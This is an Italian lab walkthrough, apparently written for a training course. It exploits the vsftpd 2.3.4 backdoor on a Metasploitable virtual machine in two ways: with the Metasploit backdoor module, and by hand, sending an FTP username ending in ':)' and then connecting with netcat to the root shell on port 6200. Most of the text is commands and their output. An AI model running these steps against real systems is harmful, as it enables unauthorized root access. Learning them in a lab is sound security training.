

Hacking servizio vsftpd

Nella lezione pratica di oggi, ci concentreremo su come condurre una sessione di hacking utilizzando Metasploit su una macchina virtuale Metasploitable.

```
(kali㉿kali)-[~]
└─$ msfconsole
Metasploit tip: View missing module options with show missing

/ it looks like you're trying to run a \
\ module /

Home    percorsosh...  photo.zip

photo    shell.php    dwwapasht...

@ @
|| |
|| |
| \|/|
|_|_|\|

=[ metasploit v6.4.50-dev ]
+ -- ==[ 2496 exploits - 1283 auxiliary - 431 post ]
+ -- ==[ 1610 payloads - 49 encoders - 13 nops ]
+ -- ==[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
```

Per identificare la vulnerabilità, si avvia il framework **Metasploit** tramite il comando **msfconsole**. Viene eseguita una ricerca di moduli relativi a **vsftpd** con il comando:

```
msf6 > search vsftpd

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/dos/ftp/vsftpd_232	2011-02-03	normal	Yes	VSFTPD 2.3.2 Denial of Service
1	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

Selezioniamo la seconda opzione quindi digitiamo il comando: **use 1**

Configuriamo l'indirizzo IP di metasploitable, la nostra macchina target e lanciamo l'attacco.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.50.149
RHOST => 192.168.50.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.50.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.50.149:21 - USER: 331 Please specify the password.
[+] 192.168.50.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.50.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:46339 -> 192.168.50.149:6200) at 2025-03-10 09:17:16 -0400
0
```

Una volta ottenuta la shell eseguiamo il comando **ls** per verificare la posizione corrente e l'output del comando conferma che ci troviamo nella directory root (**/**), procediamo quindi a creare la cartella **test_metasploit**

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

Sfruttare la vulnerabilità ftp

Lo stesso attacco puo essere replicato stabilendo una connessione ftp verso la macchina metasploitable.

Quando il server riceve un nome utente contenente :), interpreta questo come un segnale per avviare una funzione nascosta che avvia una backdoor sulla porta 6200.

```
(kali㉿kali)-[~]  
$ ftp 192.168.50.149  
Connected to 192.168.50.149.  
220 (vsFTPd 2.3.4)  
Name (192.168.50.149:kali): asdsd:)  
331 Please specify the password.  
Password:  
█
```

Confermiamo la presenza della backdoor utilizzando **nmap**.

```
$ nmap -p 6200 192.168.50.149  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-10 10:10 EDT  
Nmap scan report for 192.168.50.149  
Host is up (0.00055s latency).  
  
PORT      STATE SERVICE  
6200/tcp  open  lm-x  
MAC Address: 08:00:27:07:A3:A7 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)  
  
Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds
```

Usiamo netcat per connetterci alla shell sulla porta 6200 .

```
(kali㉿kali)-[~]  
$ nc 192.168.50.149 6200  
whoami  
root  
ls  
bin  
boot  
cdrom  
dev  
etc  
home  
initrd  
initrd.img  
lib  
lost+found  
media  
mnt  
nohup.out  
opt  
proc  
root  
sbin  
srv  
sys  
test_metasploit  
tmp  
usr  
var  
vmlinuz
```